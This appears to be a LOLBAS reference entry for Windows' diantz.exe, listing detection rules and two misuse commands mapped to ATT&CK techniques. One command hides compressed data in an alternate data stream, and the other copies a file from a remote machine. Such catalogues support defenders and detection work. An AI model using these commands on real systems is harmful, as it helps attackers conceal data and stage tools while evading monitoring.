.. /Diantz.exe
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Alternate data streams (Compression)

Download (Compression)

Binary that package existing files into a cabinet (.cab) file

Paths:

c:\windows\system32\diantz.exe
c:\windows\syswow64\diantz.exe

Resources:

https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/diantz

Acknowledgements:

Tamir Yehuda (@tim8288)
Hai Vaknin (@vakninhai)

Detection:

Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_diantz_ads.yml
Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_diantz_remote_cab.yml
IOC: diantz storing data into alternate data streams.
IOC: diantz getting a file from a remote machine or the internet.

Alternate data streams

Compress taget file into a cab file stored in the Alternate Data Stream (ADS) of the target file.
```
diantz.exe c:\pathToFile\file.exe c:\destinationFolder\targetFile.txt:targetFile.cab
```
Use case
Hide data compressed into an Alternate Data Stream.

Privileges required
User

Operating systems
Windows XP, Windows vista, Windows 7, Windows 8, Windows 8.1.

ATT&CK® technique
T1564.004

Tags
Type: Compression
This LOLBAS involves (de)compression of one or more files.

Download

Download and compress a remote file and store it in a cab file on local machine.
```
diantz.exe \\remotemachine\pathToFile\file.exe c:\destinationFolder\file.cab
```
Use case
Download and compress into a cab file.

Privileges required
User

Operating systems
Windows Server 2012, Windows Server 2012R2, Windows Server 2016, Windows Server 2019

ATT&CK® technique
T1105

Tags
Type: Compression
This LOLBAS involves (de)compression of one or more files.